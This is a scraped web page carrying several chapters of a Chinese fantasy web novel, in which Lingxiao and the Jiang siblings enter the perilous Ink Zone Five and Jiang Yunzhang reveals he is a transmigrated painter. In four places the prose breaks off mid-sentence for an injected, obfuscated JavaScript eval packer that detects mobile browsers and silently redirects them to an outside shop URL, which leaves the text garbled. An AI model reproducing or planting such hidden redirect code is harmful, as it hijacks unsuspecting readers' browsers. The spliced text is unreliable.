“他好像和副院长认识，上来勾肩搭背说了几句话，副院长差点没把他给摔出去。气冲冲扯着他去旁边的办公室了。” 叶青山满头雾水，但还是按照凌霄的叮嘱，关注着何伟铭的一举一动。由于办公室的其余人员也被这不小的动静吸引，好奇另一边究竟发生了什么，因此叶青山摘下自己眼镜的动作并没有引起旁人的注意。 “有人砸了杯子。听声音是陶瓷，可能是副院长平时用来喝咖啡的杯子。他们应该是吵起来了。” 叶青山的同事们被碎裂声吓了一跳，听着另一边传来的动静，基本都没有了继续工作的心情。只有他本人还在实时为凌霄讲解当下的情况。殊不知一脸自己满脸认真打字的模样被同事们当做了一心工作专心致志，还被旁人在不知情的时候夸赞了几句。 “听不太清楚两个人最终说了些什么，最后那个不认识的移翠院人笑眯眯地离开了办公室，临走的时候好像是故意路过我的电脑，又瞪了我一眼。吓得我差点还以为他发现了我在打字。” “副院长倒是隔了一会儿才气冲冲地走出办公室，一言不发坐回自己的位置去看墨水五区资料了。他瞥了几眼等着听八卦的同事，好像也瞪了我一眼。” 叶青山依旧是完全摸不着头脑的状态。只隐隐觉得自己的上司和刚才来到办公室的陌生人同事大概是都不喜欢自己。但他对此心态良好，因为他从来都不在意和自己无关的人员对自己究竟是何种看法。 凌霄觉得火候已到，于是嘱咐叶青山赶紧撤离战场：“你后面按部就班研究就好，不用刻意去强调林语莲的存在了。” 叶青山立刻爽快地答应了这件事情，同时还没有忘记凌霄的安全问题：“好的。不过凌霄你在墨水区一定一定要注意安全啊。林云章体质特殊不用担心血兽的问题，但是你……” 凌霄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12910670|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及时打断了他的唠唠叨叨，用江云光和江冥蝉两人的武力值保证了自己的安全性，才终于从一大段长文字的攻击中解放。 刚才江冥蝉告诉江云光他们又轻松解决了一批前来袭击的人，何伟铭应该清楚若是决定下来就需要立即动身了。凌霄关上通讯器，笑着告诉了江云光自己刚才得到的成果：“何伟铭已经重新回去查看墨水五区的地图，我想我们很快就能得到好消息了。” 江云光点了点头，同样分享了自己得到的好消息：“姐姐已经彻底控制了涤墨教的危险分子，并且用证据让母亲亲自抓捕了江非莫。刀赤城的混乱一结束，想必舞清那边也很快就就要行动了。” 她打从心底感到疑惑：“他们到底从哪里来的自信，认为江非莫能够动摇刀赤城的根基？当初他便是我母亲的手下败将，过了这么多年，他的实力也依旧不会发生太大变化。” “他们恐怕从一开始就没有指望过刀赤城元气大伤之类的事情。只要证明江非莫的背叛，大概就能证明江云章的可疑了吧。”凌霄说出了自己的看法，“连血亲都能够为了城主之位和利益背叛，更何况是没有血缘关系的养子呢？他们大概是希望江家经由江非莫开始自查。江云章与移翠院之间有着无法割舍的紧密关系，再加上他的血脉问题，想必便是第一个被怀疑的对象。” 一旦失去江家的信任，想要如何处理江云章就简单得多了。 “我们可不是分不清黑白的人。江非莫过错都没有怪到江冥蝉身上，他们怎么会觉得我们会去怀疑江云章？”江云光虽然清楚这个推论十分符合逻辑，但依旧萌生出了一种匪夷所思之感。感觉自己家人之间的情谊和人品被旁人小看了。 “大概是因为他们从来没有把江云章当做是一个单独的个体吧。在他们眼里，江云章永远都只是好用的实验品。”凌霄很清楚何伟铭与刘应水都理解不了江家人之间的感情。因为这两人最开始便无法理解林语莲对江云章产生的母爱，认为林语莲这样一位优秀的实验人才对实验品产生感情是一件极为不可思议的事情。 他们推己及人，只以为江非绝是收了林语莲什么无法拒绝的好处才勉强接受了江云章这个定时炸弹。二十多年以来还觉得江家人做戏倒是做了全套，竟然还真装出了江云章是江家一份子的可笑戏码。 因此何伟铭从来没有觉得江云光与江冥蝉动身前往墨水区是一件棘手的事情。 江非莫的儿子能是什么厉害的角色？只会和他父亲一样派不上用场。江云光大概是年级尚小不记得江云章被收养的事实，只要将证据摆在她面前，聪明人都应该知道如何选择。 “那他们还真是可笑。”江云光直视前方，脸上挂着冰冷的神情。每当她怒火中烧，安静克制着自己表情的时刻，凌霄从能在她的脸上找到江云天与江非绝的影子。 越是情绪激动，越是冷静。 “也是时候该清理一波移翠院的废物们了。” 74. 073 进入墨水五区后，车辆的速度显著放慢下来。肆意生长的植物们构成了一片几乎照射不到阳光的密林，浓郁的能量在空气中凝结为更加具体的形状，像是漂浮着的种子。江云光将越野车停在了一座被风吹日晒和能量侵蚀到面目全非的灯塔下，再次检查了一遍她们所携带的隔离设备。 “大约适应一个小时左右我们就能够继续前进了。现在离江云章给我的图标还有两个小时左右的车程。”江云光的手指在导航上滑动，“我们今天应该就能会和。” 墨水五区的能量浓度不容小觑，就算是带着层层隔离和各种保险装置，以防万一她们依旧需要一定时间的适应，才能继续前进。 凌霄能够感觉到即便是车内，空气都开始因为能量的侵染带上了重力，导致她光是抬手去拿自己的通讯器，所消耗的体力都比正常环境要多上一两倍。好在魂书族的人形幻象并不需要呼吸，因此她除了行动上略微感觉到了些许阻碍，并没有头昏脑涨之类的严重反应。 过高的能量场使得她身边书页武器的光芒都更加耀眼起来。成为了昏暗环境下崭新的光源。 “你感觉怎么样？”江云光关心地问道，“在墨水五区每个人可能产生的互斥现象反应都会有所区别。我第一次来的时候觉得胸口十分沉闷，花了一段时间才彻底适应。” “除了行动感觉暂时不太方便以外没什么大碍。”凌霄示意江云光放心，“我们甚至可以提早出发。” “那还是算了。”江云光神情认真地摇了摇头，“在朋友的安危问题上我绝对不会放松警惕。需要的一个小时适应时间不能少一秒。江云章他们也不会缺这一个小时。” 原本就寂静无声的环境再一次安静下来。 墨水区的腹地在声音环境方面显然与中部地区与安全区截然不同。凌霄没有感觉到任何动物的呼吸声与脚步声，只有植物在暗中静默地吸收着能量，静默地生长。过高的能量场似乎吞噬了所有动物的生命痕迹。再加上凌霄与江云光作为魂书族并不需要呼吸，于是此地便彻底没有留下任何生灵的声响。 连风都无法抵挡空气中厚重的能量。生命寂静到死寂。 “江冥蝉把暂居地设定为视野广阔的湖边应该也有声音方面的原因吧？”凌霄皱着眉头观察了一番死寂的密林，“这里的能量场将能够判断信息的声音全部吞噬掉了，很难发现敌人的行踪。” 她在资料中读到过这种寂静，但只有身临其境时才能感受到这种仿佛处在孤岛之中的孤独与冷清之感。甚至比起斩断了空气介质中的震动关联导致声音消失，更像是从头抹去了拥有自主意识生命的存在痕迹。 “是的，不过魂书族同类的行踪很好捕捉。”江云光给出了内部人员才更加清楚的研究经验，“能量场并不会完全吞噬魂书族的声音，只会相应削弱些许。否则我们可能就没办法在这里面对面说话，只能靠打字来交流了。” “也许是一种对外来者的警告？”凌霄不由自主猜测道，“毕竟我们与墨兽有着本质上的区别，也并不属于墨水区。我们的到来不仅对于墨水区，对这其中的墨兽与血兽也十分明显。” 简直像是明目张胆告示着原住民，有不速之客正在拜访你的土地。 “你说的很有道理。”江云光点了点头，拿出测量器扫描了一番凌霄的身体状态，在确认她此刻状态良好并没有任何不适后，再次启动了车辆。 凌霄此刻早就装备好了进入墨水五区所需要的所有装备。三层厚重的淡蓝色能量保护罩将她密不透风保护在其中，彻底隔绝了更加剧烈的能量入侵。随着越野车逐渐深入墨水五区，能量保护罩也越发活跃起来，与凌霄的书页武器交相呼应，闪烁着耀眼的光芒。 装备在凌霄左手手指上的五枚戒指连成一个整体，纯白色的能量纽带彼此纠缠，衬得朴素无华平平无奇的戒指也增添了几分美感。戒指与凌霄脖子上挂着仿佛铁片一般光秃秃的吊坠是一个整体，是一套专门研究出来应对无法正常通过食用来补充能量情况下的特殊装置。戒指能够吸收并转化空气中溢出的灵墨能量，而吊坠则是负责接收戒指传送过来的纯净能量并将其提供给魂书本体。 之所以将最核心的传输部分作为项链佩戴，也是由于前胸寄宿着魂书族的本体，能够最大效率传输能量，减少浪费。 墨水五区的能量浓度注定了这是一个海墨互斥最为严重的区域，任何不经过处理直接提供给人形幻象的能量都有可能打破好不容易维持起来的平衡，导致魂书族出现故障，严重者甚至会加速衰败走向死亡。因此在墨水五区探险的魂书族们直接放弃了食用能量这个最为简单的选项，转而研究出来了整套的能量传输器。 这种持续供能的感觉有些奇妙，最开始凌霄在确认五枚戒指的编号和佩戴方式以后，不太习惯骤然带上热度和束缚的戒指。不断吸收又传送出去的能量使得她能感觉到自己左手周围的能量环境极其不稳定，不过由于吸收掉了多余的能量，抬手之类的简单动作感觉到的阻力倒是小了许多。 她们二人还算是幸运，一直到顺利与江冥蝉二人会和，都没有遇上什么不长眼的血兽。当然，更大可能性是长时间逗留在墨水五区的江冥蝉二人已经解决了一批具有危害性质的血兽，而下一批体内血液浓度超标失去理智的血兽暂时还没有成长起来。 江冥蝉依旧还是坐在木头椅子上悠闲地钓鱼，见到江云光的刀赤城车牌以后，随意冲着二人摆了摆手。他身前的湖泊用自己的水成功于挤挤攘攘的墨水五区中开拓出了一片没有遮天蔽日植物的空地，使得阳光终于穿透层层叠叠的能量云层，照射在了微微波动的湖面上。 江云章倒是主动起身迎接了她们的到来：“一路上没有遇到什么麻烦吧？感觉怎么样？” 江云光以为他只是出于现在情况复杂才导致的情绪问题，因此冲着哥哥露出了十分开朗的笑容：“我完全没有问题！凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924381|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霄你呢？” “我也是。”凌霄依旧在检查周围的环境，构思该如何迎接接下来无可避免的战斗。听到江云光的话语给出了肯定的答复。 倒是江冥蝉终于将自己的目光从湖面放回了三人身上。他对着毫无所察的江云光摇了摇头，还没开口和凌霄说些什么，就被江云章瞪了一眼。他的亲爱弟弟血红色的眼瞳里写满了警告。 可惜的是，江冥蝉是一个不会退缩也不会为别人改变自己主意的人。 他挑眉，故意用了更加夸张的语气开口：“云光和杜小姐身手了得，云章你就不要瞎操心了。” 凌霄完全没有注意到两人之间的眉眼官司，当即开始交换情报和安排注意事项：“何伟铭近期应该会跟着移翠院的人前来墨水五区。积紫城的接应人员也已经准备随时待命。” 江冥蝉第一次没有隔着镜头和资料认真打量凌霄。淡蓝色的能量保护罩使得她脸上的神情有些模糊，却依旧遮挡不了那双紫红色眼眸之中的光彩。唯一能够照射到阳光的湖边自然不缺少金色的光芒，使得积紫城继承人的挺拔的身形在日光中比任何存在都要更为耀眼。 他的轻微愣神很快就被何伟铭这个名字吸引去了全部的注意力：“何伟铭亲自前往墨水五区？他这个缩头乌龟不是打算在移翠院待到去死吗？你怎么说动他来的？” 江冥蝉的语气越说越兴奋：“只要他踏入墨水五区的地界，我保管让他有去无回。” “姐姐没说你……”江云光立刻开口想要阻止江冥蝉的出格举动。江非莫背叛带来的负面影响还没有发酵，她认为江冥蝉有必要先暂时收敛一下自己的行事作风。 她的阻拦当然不是出于对何伟铭的怜悯。何伟铭所犯下的过错几乎已经提前预定了死刑，但不一定非要麻烦缠身的江冥蝉亲自动手。 “江非莫最近刚刚出事，我干掉何伟铭不也正好能为自己洗清通敌的污水？顺便还能和他划清界限。”江冥蝉不用思考就为自己找到了完美的借口。 “直接死亡也太便宜这个伪君子了。”凌霄有着不同的见解，没有在意江冥蝉由于自己的想法被人两次否决而开始变得不太友好的目光，“既然他如此想要探究墨水五区的秘密，那就让他永远留在墨水五区好了。也算是为了科学的发展做出贡献。” 江冥蝉丝毫没有觉得自己变脸的速度过快，为凌霄精彩的意见献上了自己的掌声，纯红色的眼眸里此刻已经充满了认同与赞叹：“不愧是杜小姐，你的想法实在是非常完美。想必何伟铭也一定会为你完成了他的夙愿而感到高兴。” 依靠着自己在墨水五区也依旧敏锐感官的江云章正在耐心检查江云光与凌霄的身体状态，尤其是第一次前往墨水五区的凌霄，他有些担心墨水五区的能量场会对她造成什么负面影响。于是没有太过在意众人的交谈。 等他终于安心抬起头，就正好看到了江冥蝉正在用一种堪称炽热的目光注视着凌霄。 75. 074 凌霄的注意力早就已经被别的事情所吸引，她看向最了解自身身体状态的江云章：“湖水的问题你们原先准备怎么解决？云苍城早就研究出了将液体海水化的方案，虽然不清楚在墨水五区这个方案还能否完美实现，但即便不是完整的海水，对你的身体依旧会造成影响吧。” 海水区的海水是一个整体的概念，因此云苍城在刻苦钻研海水特性之后研发出了将普通液体特化为海水整体的方法。这项研究成果作为世纪发现，响彻整个魂书族的教科书，完全不是什么秘密。具体操作步骤虽然没有直接公开，但是所要求的权限并不算太高，有心之人还是能够轻松获取。 不过目前这个实验暂时只在墨水安全区，也就是人类的活动区域中成功过。至今为止还没有人尝试过在极其特殊的墨水五区将液体海水化。 江云章立即忽视了江冥蝉的举动，点了点头：“这确实是个隐患。所以我和江冥蝉才将抓捕到的小型墨兽拘束在了湖水中。有它们的血液作为驱散并加强墨水五区的海墨互斥现象，可以保证湖水对我的安全性。遇到特殊情况我也能够退回湖中。” 他们当然考虑过湖水的安全问题，但由于密林之类拥有视觉死角的地方实在不适合作战或是提防偷袭，最后还是选择了湖边这个视野广阔的地方。然后将血兽沉入湖中作为抵御湖水海水化的安全装置。 “那再由我加上最后一层保险吧。”凌霄掏出自己的通讯器，调整出了资料页面展示给江云章与江冥蝉查看，“我的朋友叶青山和鄢眀济共同研究出了固化液体阻断海水化的方案，我们可以在眼前这个湖中实验一番，好保障它的安全性。” 凌霄见两人神情都认真了起来，于是直接将通讯器塞到了江云章手中供他们仔细查看：“毕竟我认为我们现在最大也是最应该提防的敌人，便是海水。再怎么小心谨慎也不为过。” 无论是旁人的袭击还是绑架，对上江云章他们的武力值都不会讨到任何好处。反而是海水能够在最短时间让他们之前的努力全部功亏一篑。 已经与凌霄交流过方案的江云光立即准备开始收集材料：“在墨水五区能够轻轻松松拿到材料清单上的所有东西，这个湖里本身可能就有其中一部分，应该能够很快完成。” “那就按照这个方案执行。”江冥蝉已经一目十行看完了屏幕上的内容，“最后四项的草药之前移动位置时我有见过，交给我就好。” 他动作迅速加上了凌霄的联络方式，并从凌霄那里得到了完整的清单。而江云章也快速决定好了自己需要完成的那份任务：“那么湖中的材料就交给我吧。也只有我最清楚血兽们都被绑在湖底哪个位置，我下去也最为安全。” “好，剩下的就是我的任务了。”江云光迅速承包下了剩下的所有项目，“我对墨水五区比凌霄要更加熟悉，跑腿找东西的任务还是由我来吧。凌霄你就负责前期的准备和制作工作好了。后备箱里有需要的仪器。” 凌霄当然清楚这算是江云光对自己的照料。她点头应下了对方的好意，按照江云光的提醒转身向她们的越野车走去。四个人效率迅速分配完了全部工作，很快四散开来各自执行相应的任务。 凌霄从后背车厢找出了最基础的能量转换器与配套的萃取工具。前往墨水区的车辆都会备上萃取工具作为应急设备，能够有效应对一些需要灵墨能量液体但手头库存不足的情况。之前她随着六人小队来到墨水区时，检修机器的席雪时就曾经用萃取工具提取出了植物中的灵墨液体，并将得到的液体能量运用在了检测装置之中。 叶青山与鄢眀济合作完成的方案逻辑和操作都十分简单。鄢眀济清楚海水化的所有前提条件，于是逆向思维，通过增加液体中墨水能量从而阻断液体海水化为一个整体的可能性。他们原本是想要研制出更加强效的海水无效化试剂，只可惜时间紧凑，没能得到什么拿得出手的成果。 凌霄快速布置好了萃取仪器。由于墨水五区能量过于充足，专门用来给各种仪器提供能量的转换器在墨水五区根本就不需要寻找地上光河的位置，直接暴露在空气之中就能够顺利运行。 这几天已经彻底摸清湖底状况的江云章最先采集到了所有需要的水草。他拎着这些湿漉漉的植物回到了岸边，并试图拧干它们之中的水分。 “没关系，直接拿过来就可以了。”凌霄示意江云章把水草放入萃取仪器的容器之中，“高能量场中的湖水并不算是杂质，混入萃取物质中也不会造成什么影响。” 江云章沉默着停止了自己的动作，将水草捆好摆正，贴着容器边缘一层一层仔细垒好。 凌霄坐在萃取仪器旁边，主动开口打破了两人之间的沉默：“我还不知道你对何伟铭劝你的话语有什么感想呢。” 她实在是担心江家兄妹与自己的奋斗在途中功亏一篑。因为情绪上头陷入自责纠结状态的江云章很可能真的会选择自杀。 她尚且不清楚江云章的穿越机制到底如何运行，度邪大侠的世界中他前期无论是头疼还是反应慢半拍之类的负面状况都能够说明他尚且不能完美掌控同位体的身体，到了后期才有好转。如果这个世界她并不熟悉的刀赤城江云章被何伟铭洗脑，为了科学选择献身，很有可能去抢夺身体的控制权。 “我没办法撒谎一点动摇都没有。”江云章低头望着容器中的海草，回忆着同位体一直剧烈颤抖着的心跳声，“毕竟这具躯体最开始创造出来也是为了研究。大家对我情感反而是中途的变数。我确实曾经思考过自己是不是应该回到这具躯体的正途。” 刀赤城的江云章就是如此思考的。何伟铭不止一次在这句躯体耳边称赞过自己究竟做出了如何的壮举，使得尚且年幼的孩童忍耐下了所有疼痛和检验，只为了延长自己的生命，能够抵达生母与母亲渴望知晓的真相。 “这简直就是奇迹，是奇迹！”相貌平平无奇只有一双纯绿眼瞳算得上是唯一亮色的中年男子在实验室里激动地大声叫嚷。江云章听到了自己这具躯体的心跳声。 咚。 咚、咚、咚。 来自他身体内部不知名的机械在运转，组装，相互碰撞，发出了奇妙的噪音。他此前从未在自己身上听到过如此奇怪的声响，甚至还会因为他的情绪波动而变得更加嘈杂。于是恐惧摄住了他的全部心神——只有墨兽才拥有如此奇怪的声响潜藏在体内！而粗略看过生母林语莲遗物的他更是清楚地知道，心跳声变大变快是血兽化的特征！ 魂书族没有心脏，没有器官。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941215|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人形幻象作为躯壳，只有一片寂静。 “难道我已经不是人类了吗？”江云章的声音因为恐惧而颤抖，即便他早就已经接受了自己与普通孩童之间的不同，却从未想过自己有一天会变成墨兽。连人形幻象都不再拥有。 他血红色的眼瞳由于过于醒目一直是令旁人惊讶且避之不及的噩兆。除了江家的兄妹，他没有一个朋友。 因为他是藏在魂书族中的怪物。 “怎么会呢！我的孩子，你当然还是人类。”何伟铭极力掩藏着自己过于夸张的笑容，尽量用平静的表情对上了江云章恐惧的眼神，“你只是进化出了现人类所不具备的心脏而已。这是无与伦比的进化！你为我们指明了另一条道路。” 但是身体里藏着一颗会定时跳动的计时炸弹实在是一件令人痛苦的事情。即便家人有些好奇地围在他身边聆听了他的心跳声，也依旧无法消除他对自己身体变化产生的恐惧。 他像是登上了一辆不知终点不知疲惫且飞速前进中的火车，被迫参观了许多自己根本没有见识过也没有期望过的风景。他的躯体强硬地拽着他的灵魂向前奔走，于是他也只能试图用自己的大脑去理解那些无法回溯的变化。 何伟铭微笑着告诉他。 这是一个能够造福全人类的奇迹。也是一个只有你才能实现的奇迹。 他咧嘴一笑。没由来令人觉得面目可憎。 只要试验成功，你将会成为全人类的大功臣。 可是他只想回家。火车要去的未来太过遥远太过无法理解，他只知道自己根本无法专心去理解自己路过的风景。他只想要回到自己最初所在的地方。 心脏仍然在这具扭曲的躯壳中跳动。 不能被旁人发现自己的特殊性。于是他按照要求佩戴上了阻绝心脏震动的仪器，尽量遮掩起了自己的瞳孔，像模像样模仿起了旁人进入墨水区后的反应。 养妹交到了一个好朋友，她叫她明济姐。 云苍城是建造在海水区的奇妙城市，在云光的嘴里，那是神秘而优美的海中龙宫。他在书上看到了许许多多关于海水区的介绍。水天一色的美景，波光粼粼的海面，温暖的阳光沙滩，神秘而奇妙的海中世界。多姿多彩的海兽…… 每一个都是他完全无法接触的存在。 为了照顾他的心情，江云天很快就用眼神示意江云光不要再继续描述云苍城之旅究竟有多么美妙。一直在刷通讯器的江冥蝉随口讽刺了一句石玄城的武器基地才最有趣，很快就和云光吵了起来。 他向来不屑于撒谎的养姐告诉他非云苍城人最好少接触海水，毕竟现在还没有查明海水加速衰败到底是何种原因。 江冥蝉当然听懂了江云天的言外之意，嘲笑妹妹竟然会安慰人，理由还如此拐弯抹角。 于是江云天一副懒得搭理表兄的模样，直言反驳道：她是懒得使用情商，而不是没有情商。 由于年幼，尚且不清楚江云章身体问题的江云光睁着大眼睛好奇地望着吵起来的哥哥姐姐，顺便对着沉默的养兄露出了一个开朗的笑容。 她说为大家带回来了很多照片。 江云章由衷喜爱自己的家人们。 所以作为怪物，就更不应该拖累他们了。 76. 075 浏览过关键性记忆并感知到刀赤城同位体想法的江云章对此嗤之以鼻，万分嫌弃这个脑子不好的同位体。同为被江家收养的云章，同位体竟然没有从江非绝身上学到任何做事与反击手段，还被何伟铭的话语所影响，以为自己拥有选择死亡的自主权利。 就算是被刘应水压榨了几乎所有价值的刘云章都还记得发疯报复敌人，刀赤城城主还是把不开窍的同位体保护得太好了，以至于养了一个白痴出来。 江云章很快就猜到了凌霄询问自己想法的用意，是为了确定自己不会在关键时刻听信何伟铭的谗言从而落入对方的圈套。他不是同位体那个脑子有点问题的家伙，自然绝对不会拖团队的后腿，也没有什么牺牲自己造福魂书族全部人类的觉悟。 创造出这具躯体的林语莲都认同了他生存下去的价值，认同了他的存在。他凭什么还要自寻烦恼选择死亡？ 于是他语气坚定向凌霄保证道：“但我很快意识到了何伟铭的话不过是一派胡言。我的躯体无论是人形还是心脏，都已经在我母亲的授意下完完全全属于我自己。我只需要为自己的生命负责便可。” 凌霄满意地点了点头：“听到你这样说我就放心了。你的家人们努力至今，确实不是为了让你用自己的性命，去换取魂书族缥缈的未知未来。何伟铭的劝解全部都是谎言，他甚至早就已经开始计划倘若你留下了尸体该如何处理。” 江云章先是一愣，随后露出了苦笑：“怪不得你挑在这样独处的环境告诉我。要是让江冥蝉知道了，恐怕要气到现在就冲去移翠院找他们算账了。” 他完全没有因为旁人预定了自己的尸体而产生任何动摇，就像是在谈论什么与自己毫不相干的话题。而江云章本人也没有遮掩的意思。 墨水五区对于体内拥有血液的他而言甚至可以说如同回到老家一般亲切友好，对环境的感知能力更是被放大了数倍，如鱼得水游刃有余。因此他轻轻松松就感知到了江家兄妹两人所处的位置，以及他们与此地的距离。 这是最好的坦白时机。没有任何人打扰，也不用担心被监视监听。只有他和积紫城继承人、不，只有他和杜凌霄存在的独立空间。 他十分迫切想要知晓自己的推论是否正确，自己眼前的杜凌霄是否是来自现代社会的灵魂。因此他决定自己先一步摊牌。 以真心换真心。以事实换事实。 不论得到什么结果，他都将安然接受。 “杜凌霄小姐。”他难得以全名来称呼凌霄，于是抬起头隔着淡蓝色的能量保护罩直视她的眼瞳，“我有一件非常重要的事情希望得到你的回复。” 他心急到没有等待凌霄的回应，一鼓作气说完了自己的话：“我是来自地球二十一世纪的画家江云章，由于一些偶然原因降临在了刀赤城江云章的身上。过去也曾经历过相似的事件，甚至还曾成为邪|教圣子林云章。” 他目光炯炯凝视着凌霄，血红色的眼瞳中隐约有波光浮动：“我想知道你是否是我所认识的那位小说作家。在来到这个世界之前，我们还在手机上聊过关于插图与雪百合的话题。” 凌霄没有预料到他会选择自报家门。听着与自己的推测八九不离十的事实，凌霄避之不谈自己是否相信了这异想天开的话语，也不曾直面江云章的问题，反而选择了另一个问题：“你还经历过相似的事件？” 江云章满脸严肃地点了点头：“我遇到过不少有我同位体存在的世界，彼此之间区别极大。不过在我明显表露出抗拒意识并路过了一个奇怪世界之后，我就很长时间没有再遇到这种特殊事件了。直到在画展上与你相遇后的当天夜里。” 倘若面前的凌霄并不是自己所熟识的那一位，那么遇到这种匪夷所思的事件第一反应理应是质疑其真实性，而不是询问江云章都曾经历过哪些世界。因此他认为自己可以将凌霄的反应当做是默认，没有忍耐住自己更加炽热了几分的眼神。 真不愧是自己，果然没有认错过自己的太阳。他就说自己绝对不会将平行世界的人弄混，也绝对不会对着积紫城继承人睹物思人。能让他如此经常幻视自己太阳的灵魂，绝对是属于现代社会的那一位杜凌霄。 凌霄迅速提取到了关键信息，她的直觉告诉她其中掩藏着重要的秘密：“什么奇怪世界？” 心情良好的江云章自然是无言不尽：“一个大多数人类魂魄残缺不全，被困在水城中的奇怪世界。他们只有在离开自己的居住地前往岸上时才会得到躯体，化为人类的模样。其余时间都是以水生物种的形态生活在水里。但他们的世界似乎又没有水与鱼类的概念，没有任何人能意识到自己的灵魂与躯壳会发生变化。” 凌霄瞬间想起了曾经出现在自己脑海中似乎信仰着水纹的神秘王座，以及那个虚幻的背影。她的直觉告诉她其中暗藏着不容忽视的玄机，使她想起同样居住在水中的云苍城也有王座上类似的纹样。三者之间必定有隐藏着的关联存在。 如此重要的世界，为何江云章能够前往，而自己却不能呢？ 凌霄由于困惑皱起了眉头，意识到自己不得不进行更加直白的情报交流。度邪真君曾经告诉过她一切真相都会伴随着缘分于她身前水落石出，那么江云章身上的线索也许便是能够掀开旅途幕布的一个契机。 但是不用心急，一步一步来便可。刀赤城于这个世界所遇到的问题，还需要他们亲自解决。 即便目光投射得再远，也不能忽视眼前的现实。 于是她回望表情隐隐带着热切和激动的江云章，第一次主动坦白了自己的身份：“你的推测并没有问题。我确实是你所认识的杜凌霄。那株雪百合十分美丽，我很高兴回到了自己的世界还能够看到它的光彩。” 她语气真诚道出了谢意。 江云章激动地差点从自己的位置上蹦起来：“那我现在就再给你画一副！” 凌霄有些好笑地望着他手忙脚乱的举措：“你在墨水五区还带上了画布和颜料？” “主要是为了安抚江云章，总要带点东西转移他的注意力。”江云章用全名来指代自己的同位体，并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954785|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心凌霄听不懂自己的话语。他当即就从自己的包中掏出了速写本和铅笔：“知道我是个画家以后，我就用教他作画贿赂他托管自己的身体了。” “原来如此。你还需要像上次遇到林云章时那样，随着时间构筑出信任才能彻底掌握他的身体吗？”凌霄问道，十分好奇江云章与自己截然不同的依凭规则。 谈及自己的痛点，江云章忍不住露出了十分嫌弃的表情。他在好不容易找到的知情人面前尽情吐槽出了被自己掩藏了十几年的秘密与抱怨：“是的，而且江云章比林云章还难搞。空有战斗能力却完全没有脑子，揣着心脏天天纠结自己是怪物。我来墨水区之前刚把他私藏的全部海水都扔了。这家伙是真的考虑过自杀的可能性。” “不过凌霄你放心。”江云章十分靠谱地向凌霄保证道，完全没有理会自己现在突然变得剧烈的心跳声，那是同位体正在为他的抹黑而抗议，“我已经让这个白痴改变主意了，这家伙绝对不会中途做出什么自杀之类的智障举动的。” “那我就安心了。”凌霄点了点头，有些好奇的仔细观察江云章的表情，“不过你的穿越还真是辛苦。” “凌霄你是怎么解决这件事情的？”江云章有些好奇的问道，顺便打开了自己的速写本。 他原本想要立刻开始在速写本上复刻雪百合的样貌，可是考虑到这并非墨水区所存在的物种，于是中途换做了对眼前的景色进行描绘。墨水五区的金色云雾以及空气中浮浮沉沉的能量漩涡都算是奇景，复刻在纸上也能呈现出独特的美感。 “继承人十分爽快的认可了我，所以我才能使用她的身体与你在墨水区相认。”凌霄思考了一番自己目前能够透露的情报，为了换取所谓奇怪世界的相关资料，她决定对一部分事情不再隐瞒。 “当然，度邪大侠那时也是一样。可能是同样身为杜凌霄，我们都十分信任彼此绝对不会用自己的身体作恶吧。” “真好，不愧是你们不愧是你。”江云章的语气分外艳羡，“刘云章差点疯了完全成为了我的童年阴影，林云章胆小怕事心思阴暗还老和我打架。好不容易遇到个三观看似正常点的，结果又天天想着自杀……等等！” 谈及度邪大侠，江云章自然想起了林云章和冯舞清。 “等等！” 他拿着铅笔的动作一顿，一动一卡机械般扭头回看坐在自己身边的凌霄，被自己所发现的事实震得完全无法保持冷静。 凌霄用疑惑的眼神回看过去。 “我一醒来就是在客栈的聂雨林陷阱，所以立刻决定要帮助度邪大侠。此后度邪大侠给我的感觉一直没有发生任何变化，所以从一开始我遇到的度邪大侠便是你，没有错吧？”他十分慢速，条理清晰地完成了一段推论。 “没错。”凌霄干脆地点了点头。既然度邪大侠已经与他相遇，那么便更不用向他隐瞒。 “也就是说，也就是说！” “我画了半天雪百合感叹了半天度邪大侠和冯舞清情谊的……实际上是你和冯舞清啊！！！” 77. 076 